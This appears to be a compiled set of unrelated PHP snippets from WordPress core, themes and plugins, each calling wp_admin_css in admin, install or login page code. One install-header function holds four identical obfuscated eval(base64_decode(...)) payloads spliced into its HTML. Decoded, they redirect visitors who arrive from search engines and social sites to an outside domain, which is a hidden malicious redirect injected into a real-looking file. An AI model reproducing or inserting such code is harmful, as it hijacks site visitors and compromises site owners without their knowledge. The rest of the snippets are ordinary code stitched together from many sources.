function comicpress_admin_print_styles() { wp_admin_css('css/global'); wp_admin_css('css/colors'); wp_admin_css('css/ie'); wp_enqueue_style('comicpress-options', get_template_directory_uri() . '/options/options.css'); }
function TheTheIS_Style() { $x = WP_PLUGIN_URL . '/' . str_replace(basename(__FILE__), "", plugin_basename(__FILE__)); if (get_bloginfo('version') < 3.3) { wp_admin_css('nav-menu'); } wp_deregister_style('thethefly-plugin-panel-interface'); wp_register_style('thethefly-plugin-panel-interface', $x . 'style/admin/interface.css'); wp_enqueue_style('thethefly-plugin-panel-interface'); wp_enqueue_script('postbox'); wp_enqueue_script('post'); wp_deregister_style('thethefly-color-picker'); wp_register_script('thethefly-color-picker', $GLOBALS['TheTheIS']['wp_plugin_dir_url'] . 'style/admin/js/color-picker.js'); // Color picker wp_enqueue_style('farbtastic'); wp_enqueue_script('thethefly-color-picker'); wp_enqueue_script('farbtastic', false, array('thethefly-color-picker')); wp_enqueue_script('media-upload'); wp_enqueue_script('thickbox'); wp_enqueue_script("jquery-ui-sortable"); wp_enqueue_script("jquery-ui-draggable"); wp_enqueue_style('thickbox'); wp_enqueue_script('thethe-slider-admin-js', $x . "style/admin/thethe-image-slider-admin.js"); wp_enqueue_script('jquery-form'); wp_enqueue_style('thethe-slider-admin-css', $x . 'style/admin/thethe-image-slider-admin.css', false, false, 'screen'); }
function simplepopup_enqueue_editor() { wp_enqueue_script('common'); wp_enqueue_script('jquery-affect'); wp_admin_css('thickbox'); wp_print_scripts('post'); wp_print_scripts('media-upload'); wp_print_scripts('jquery'); wp_print_scripts('jquery-ui-core'); wp_print_scripts('jquery-ui-tabs'); wp_print_scripts('tiny_mce'); wp_print_scripts('editor'); wp_print_scripts('editor-functions'); /* Include thе link dialog functions */ require_once ABSPATH . 'wp-admin/includes/internal-linking.php'; wp_print_scripts('wplink'); wp_print_styles('wplink'); add_action('tiny_mce_preload_dialogs', 'wp_link_dialog'); add_thickbox(); wp_tiny_mce(); wp_admin_css(); wp_enqueue_script('utils'); do_action("admin_print_styles-post-php"); do_action('admin_print_styles'); //remove_all_filters('mce_external_plugins'); }
/** * Display install header. * * @since unknown * @package WordPress * @subpackage Installer */ function display_header() { header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); language_attributes(); ?> > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('WordPress › Installation'); ?> </title> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); wp_admin_css('install', true); ?> </head> <body> <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); }
/** * Display install header. * * @since 2.5.0 * @package WordPress * @subpackage Installer */ function display_header() { header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Installation'); ?> </title> <?php wp_admin_css('install', true); ?> </head> <body<?php if (is_rtl()) { echo ' class="rtl"'; } ?> > <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1> <?php }
/** * Display install header. * * @since 2.5.0 * @package WordPress * @subpackage Installer */ function display_header() { header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Installation'); ?> </title> <?php wp_admin_css('install', true); ?> </head> <body class="wp-core-ui<?php if (is_rtl()) { echo ' rtl'; } ?> "> <h1 id="logo"><a href="<?php esc_attr_e('http://wordpress.org/'); ?> "><?php _e('WordPress'); ?> </a></h1> <?php }
function ceo_admin_print_styles() { wp_admin_css('css/global'); wp_admin_css('css/colors'); wp_admin_css('css/ie'); wp_enqueue_style('comiceasel-options-style', ceo_pluginfo('plugin_url') . 'css/config.css'); }
function bp_group_organizer_load_styles() { // Nav Menu CSS // This dropped out in WP 3.3, but is still needed for compat if (floatval(get_bloginfo('version')) < 3.3) { wp_admin_css('nav-menu'); } }
function add_Spider_Video_Player() { wp_admin_css('thickbox'); $lists['published'] = '<input type="radio" name="published" id="published0" value="0" class="inputbox"> <label for="published0">No</label> <input type="radio" name="published" id="published1" value="1" checked="checked" class="inputbox"> <label for="published1">Yes</label>'; // display function html_add_Spider_Video_Player($lists); }
public function admin_head() { printf("<script type=\"text/javascript\" src=\"%s/js/wp-total-hacks.js\"></script>", $this->plugin_url); if (isset($_GET['err']) && $_GET['err']) { add_action("admin_notices", array(&$this, "admin_notice")); } wp_admin_css(); do_action("admin_print_styles-post-php"); do_action('admin_print_styles'); add_filter('tiny_mce_before_init', array(&$this, 'tiny_mce_before_init'), 999); }
function insert_media_upload() { global $wp_version; if ($wp_version < '2.6') { add_action('admin_head_middmedia_media_upload', 'media_admin_css'); } else { wp_admin_css('media'); } media_upload_header(); return wp_iframe('middmedia_media_upload', $this); }
function login_header($title = 'Login', $message = '', $wp_error = '') { global $error; if ( empty($wp_error) ) $wp_error = new WP_Error(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head> <title><?php bloginfo('name'); ?> › <?php echo $title; ?></title> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> <?php wp_admin_css( 'css/login' ); wp_admin_css( 'css/colors-fresh' ); ?> <script type="text/javascript"> function focusit() { document.getElementById('user_login').focus(); } window.onload = focusit; </script> <?php do_action('login_head'); ?> </head> <body class="login"> <div id="login"><h1><a href="<?php echo apply_filters('login_headerurl', 'http://wordpress.org/'); ?>" title="<?php echo apply_filters('login_headertitle', __('Powered by WordPress')); ?>"><?php bloginfo('name'); ?></a></h1> <?php if ( !empty( $message ) ) echo apply_filters('login_message', $message) . "\n"; // Incase a plugin uses $error rather than the $errors object if ( !empty( $error ) ) { $wp_error->add('error', $error); unset($error); } if ( $wp_error->get_error_code() ) { $errors = ''; $messages = ''; foreach ( $wp_error->get_error_codes() as $code ) { $severity = $wp_error->get_error_data($code); foreach ( $wp_error->get_error_messages($code) as $error ) { if ( 'message' == $severity ) $messages .= ' ' . $error . "<br />\n"; else $errors .= ' ' . $error . "<br />\n"; } } if ( !empty($errors) ) echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n"; if ( !empty($messages) ) echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n"; } } // End of login_header()
public function print_assets() { if ($this->rendered) { if (!ClefUtils::style_has_been_added('admin')) { wp_print_styles($this->style_identifier); wp_admin_css('wp-admin', true); wp_admin_css('colors-fresh', true); } if (!ClefUtils::script_has_been_added('settings')) { wp_print_scripts($this->script_identifier); } } }
/** * Display setup wp-config.php file header. * * @ignore * @since 2.3.0 * * @global string $wp_local_package * @global WP_Locale $wp_locale * * @param string|array $body_classes */ function setup_config_display_header($body_classes = array()) { $body_classes = (array) $body_classes; $body_classes[] = 'wp-core-ui'; if (is_rtl()) { $body_classes[] = 'rtl'; } header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"<?php if (is_rtl()) { echo ' dir="rtl"'; } ?> > <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Setup Configuration File'); ?> </title> <!-- 这里是引入CSS文件 --> <?php wp_admin_css('install', true); ?> </head> <body class="<?php echo implode(' ', $body_classes); ?> "> <!-- 这里是logo部分 --> <!-- 疑问:下面的tabindex="-1"是什么鬼? --> <h1 id="logo"> <a href="<?php esc_attr_e('https://wordpress.org/'); ?> " tabindex="-1"><?php _e('WordPress'); ?> </a> </h1> <?php }
/** * Display install header. * * @since unknown * @package WordPress * @subpackage Installer */ function display_header() { header( 'Content-Type: text/html; charset=utf-8' ); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Installation'); ?></title> <?php wp_admin_css( 'install', true ); ?> </head> <body> <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1> <?php }//end function display_header();
public function web_dorado_slider_page_admin_scripts() { wp_enqueue_style('color_control_page_main_style', get_template_directory_uri() . '/admin/css/slider_page.css'); wp_enqueue_script('jquery'); wp_enqueue_script('common'); wp_enqueue_script('jquery-color'); wp_print_scripts('editor'); if (function_exists('add_thickbox')) { add_thickbox(); } wp_print_scripts('media-upload'); wp_admin_css(); wp_enqueue_script('utils'); do_action("admin_print_styles-post-php"); do_action('admin_print_styles'); }
function sp_cdm_tinymce_editor() { wp_admin_css('thickbox'); wp_enqueue_script('post'); wp_enqueue_script('media-upload'); wp_enqueue_script('jquery'); wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('jquery-ui-tabs'); wp_enqueue_script('jquery-effects-core'); wp_enqueue_script('jquery-effects-pulsate'); wp_enqueue_script('jquery-effects-highlight'); wp_enqueue_script('tiny_mce'); wp_enqueue_script('editor'); wp_enqueue_script('editor-functions'); add_thickbox(); }
function wpframe_add_editor_js() { wp_enqueue_script('common'); wp_enqueue_script('jquery-color'); wp_print_scripts('editor'); if (function_exists('add_thickbox')) { add_thickbox(); } wp_print_scripts('media-upload'); if (function_exists('wp_tiny_mce')) { wp_tiny_mce(); } wp_admin_css(); wp_enqueue_script('utils'); do_action("admin_print_styles-post-php"); do_action('admin_print_styles'); }
public function web_dorado_general_settings_page_admin_scripts() { wp_enqueue_style('general_settings_page_main_style', get_template_directory_uri() . '/admin/css/general_settings_page.css'); wp_enqueue_script('jquery'); wp_enqueue_script('common'); wp_enqueue_script('jquery-color'); wp_print_scripts('editor'); if (function_exists('add_thickbox')) { add_thickbox(); } wp_print_scripts('media-upload'); //if (function_exists('wp_tiny_mce')) wp_tiny_mce(); wp_admin_css(); wp_enqueue_script('utils'); do_action("admin_print_styles-post-php"); do_action('admin_print_styles'); }
function aitAdminStylesAndScripts() { wp_enqueue_style('jquery-ui-datepicker', AIT_ADMIN_URL . '/gui/jquery-ui-datepicker.css'); wp_enqueue_style('CSS_admin', AIT_ADMIN_URL . '/gui/ait-admin.css'); wp_enqueue_style('CSS_colorpicker', AIT_ADMIN_URL . '/gui/jquery.colorpicker.css'); wp_enqueue_style('CSS_colorbox', AIT_ADMIN_URL . '/gui/colorbox.css'); if (is_file(admin_url() . 'css/dashboard.css')) { wp_admin_css('dashboard'); } wp_enqueue_script('JS_admin', AIT_ADMIN_URL . '/gui/admin.js', array('jquery')); wp_enqueue_script('JS_colorpicker', AIT_ADMIN_URL . '/gui/jquery.colorpicker.js', array('jquery')); wp_enqueue_script('JS_colorbox', AIT_ADMIN_URL . '/gui/jquery.colorbox-min.js', array('jquery')); wp_enqueue_script('jquery-ui-sortable'); wp_enqueue_script('jquery-ui-datepicker'); add_thickbox(); wp_enqueue_script('media-upload'); wp_enqueue_script('my-upload'); }
/** * Display install header. * * @since 2.5.0 * * @param string $body_classes */ function display_header($body_classes = '') { header('Content-Type: text/html; charset=utf-8'); if (is_rtl()) { $body_classes .= 'rtl'; } if ($body_classes) { $body_classes = ' ' . $body_classes; } ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta name="viewport" content="width=device-width"/> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="robots" content="noindex,nofollow"/> <title><?php _e('WordPress › Installation'); ?> </title> <?php wp_admin_css('install', true); wp_admin_css('dashicons', true); ?> </head> <body class="wp-core-ui<?php echo $body_classes; ?> "> <p id="logo"><a href="<?php echo esc_url(__('https://wordpress.org/')); ?> " tabindex="-1"><?php _e('WordPress'); ?> </a> </p> <?php }
function admin_head_addition() { global $am_option; echo '<link rel="stylesheet" href="' . $am_option['url']['themeoptions_url'] . '/admin.css" type="text/css" />'; echo '<script type="text/javascript" src="' . $am_option['url']['themeoptions_url'] . '/supporting_scripts.js"></script>'; wp_enqueue_script('common'); wp_enqueue_script('jquery-color'); wp_print_scripts('editor'); if (function_exists('add_thickbox')) { add_thickbox(); } wp_print_scripts('media-upload'); if (function_exists('wp_tiny_mce')) { wp_tiny_mce(); } wp_admin_css(); wp_enqueue_script('utils'); do_action('admin_print_styles-post-php'); do_action('admin_print_styles'); }
/** * Display install header. * * @since 2.5.0 * @package WordPress * @subpackage Installer */ function display_header() { header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php _e('WordPress › Installation'); ?> </title> <?php wp_admin_css('install', true); ?> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-25422367-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'te xt/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'http s://ssl' : 'http://www <http://www/>') + '.google-analytics.com/ga.js <http://google-analytics.com/ga.js>'; var s = document.getElementsByTagName('script')[0]; s.pa <http://s.pa/> rentNode.insertBefore(ga, s); })(); </script> </head> <body> <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1> <?php }
function wp_cta_customizer_enqueue($hook) { wp_enqueue_script(array('jquery', 'editor', 'thickbox', 'media-upload')); wp_dequeue_script('jquery-cookie'); wp_enqueue_script('jquery-cookie', WP_CTA_URLPATH . 'js/jquery.cookie.js'); wp_enqueue_style('wp-admin'); wp_admin_css('thickbox'); add_thickbox(); wp_enqueue_style('wp-cta-admin-css', WP_CTA_URLPATH . 'css/admin-style.css'); wp_enqueue_script('wp-cta-post-edit-ui', WP_CTA_URLPATH . 'js/admin/admin.post-edit.js'); wp_localize_script('wp-cta-post-edit-ui', 'wp_cta_post_edit_ui', array('ajaxurl' => admin_url('admin-ajax.php'), 'wp_call_to_action_meta_nonce' => wp_create_nonce('wp-call-to-action-meta-nonce'))); wp_enqueue_script('wp-cta-frontend-editor-js', WP_CTA_URLPATH . 'js/customizer.save.js'); //jpicker - color picker wp_enqueue_script('jpicker', WP_CTA_URLPATH . 'js/libraries/jpicker/jpicker-1.1.6.min.js'); wp_localize_script('jpicker', 'jpicker', array('thispath' => WP_CTA_URLPATH . 'js/libraries/jpicker/images/')); wp_enqueue_style('jpicker-css', WP_CTA_URLPATH . 'js/libraries/jpicker/css/jPicker-1.1.6.min.css'); wp_enqueue_style('jpicker-css', WP_CTA_URLPATH . 'js/libraries/jpicker/css/jPicker.css'); wp_enqueue_style('wp-cta-customizer-frontend', WP_CTA_URLPATH . 'css/customizer.frontend.css'); wp_dequeue_script('form-population'); wp_dequeue_script('funnel-tracking'); wp_enqueue_script('jquery-easing', WP_CTA_URLPATH . 'js/jquery.easing.min.js'); }
/** * Output the login page header. * * @param string $title Optional. WordPress login Page title to display in the `<title>` element. * Default 'Log In'. * @param string $message Optional. Message to display in header. Default empty. * @param WP_Error $wp_error Optional. The error to pass. Default empty. */ function login_header($title = 'Log In', $message = '', $wp_error = '') { global $error, $interim_login, $action; // Don't index any of these forms add_action('login_head', 'wp_no_robots'); if (wp_is_mobile()) { add_action('login_head', 'wp_login_viewport_meta'); } if (empty($wp_error)) { $wp_error = new WP_Error(); } // Shake it! $shake_error_codes = array('empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password'); /** * Filter the error codes array for shaking the login form. * * @since 3.0.0 * * @param array $shake_error_codes Error codes that shake the login form. */ $shake_error_codes = apply_filters('shake_error_codes', $shake_error_codes); if ($shake_error_codes && $wp_error->get_error_code() && in_array($wp_error->get_error_code(), $shake_error_codes)) { add_action('login_head', 'wp_shake_js', 12); } ?> <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" <?php language_attributes(); ?> > <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <!--<![endif]--> <head> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?> ; charset=<?php bloginfo('charset'); ?> " /> <title><?php bloginfo('name'); ?> › <?php echo $title; ?> </title> <?php wp_admin_css('login', true); /* * Remove all stored post data on logging out. * This could be added by add_action('login_head'...) like wp_shake_js(), * but maybe better if it's not removable by plugins */ if ('loggedout' == $wp_error->get_error_code()) { ?> <script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script> <?php } /** * Enqueue scripts and styles for the login page. * * @since 3.1.0 */ do_action('login_enqueue_scripts'); /** * Fires in the login page header after scripts are enqueued. * * @since 2.1.0 */ do_action('login_head'); if (is_multisite()) { $login_header_url = network_home_url(); $login_header_title = get_current_site()->site_name; } else { $login_header_url = __('https://wordpress.org/'); $login_header_title = __('Powered by WordPress'); } /** * Filter link URL of the header logo above login form. * * @since 2.1.0 * * @param string $login_header_url Login header logo URL. */ $login_header_url = apply_filters('login_headerurl', $login_header_url); /** * Filter the title attribute of the header logo above login form. * * @since 2.1.0 * * @param string $login_header_title Login header logo title attribute. */ $login_header_title = apply_filters('login_headertitle', $login_header_title); $classes = array('login-action-' . $action, 'wp-core-ui'); if (wp_is_mobile()) { $classes[] = 'mobile'; } if (is_rtl()) { $classes[] = 'rtl'; } if ($interim_login) { $classes[] = 'interim-login'; ?> <style type="text/css">html{background-color: transparent;}</style> <?php if ('success' === $interim_login) { $classes[] = 'interim-login-success'; } } $classes[] = ' locale-' . sanitize_html_class(strtolower(str_replace('_', '-', get_locale()))); /** * Filter the login page body classes. * * @since 3.5.0 * * @param array $classes An array of body classes. * @param string $action The action that brought the visitor to the login page. */ $classes = apply_filters('login_body_class', $classes, $action); ?> </head> <body class="login <?php echo esc_attr(implode(' ', $classes)); ?> "> <div id="login"> <h1><a href="<?php echo esc_url($login_header_url); ?> " title="<?php echo esc_attr($login_header_title); ?> " tabindex="-1"><?php bloginfo('name'); ?> </a></h1> <?php unset($login_header_url, $login_header_title); /** * Filter the message to display above the login form. * * @since 2.1.0 * * @param string $message Login message text. */ $message = apply_filters('login_message', $message); if (!empty($message)) { echo $message . "\n"; } // In case a plugin uses $error rather than the $wp_errors object if (!empty($error)) { $wp_error->add('error', $error); unset($error); } if ($wp_error->get_error_code()) { $errors = ''; $messages = ''; foreach ($wp_error->get_error_codes() as $code) { $severity = $wp_error->get_error_data($code); foreach ($wp_error->get_error_messages($code) as $error_message) { if ('message' == $severity) { $messages .= ' ' . $error_message . "<br />\n"; } else { $errors .= ' ' . $error_message . "<br />\n"; } } } if (!empty($errors)) { /** * Filter the error messages displayed above the login form. * * @since 2.1.0 * * @param string $errors Login error message. */ echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n"; } if (!empty($messages)) { /** * Filter instructional messages displayed above the login form. * * @since 2.5.0 * * @param string $messages Login messages. */ echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n"; } } }
?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <title><?php _e('WordPress › Confirm your action'); ?> </title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php wp_admin_css('install', true); wp_admin_css('ie', true); ?> </head> <body> <h1 id="logo"><img alt="WordPress" src="<?php echo esc_attr(admin_url('images/wordpress-logo.png?ver=20120216')); ?> " /></h1> <form action="sites.php?action=<?php echo esc_attr($_GET['action2']); ?> " method="post"> <input type="hidden" name="action" value="<?php echo esc_attr($_GET['action2']); ?> " />
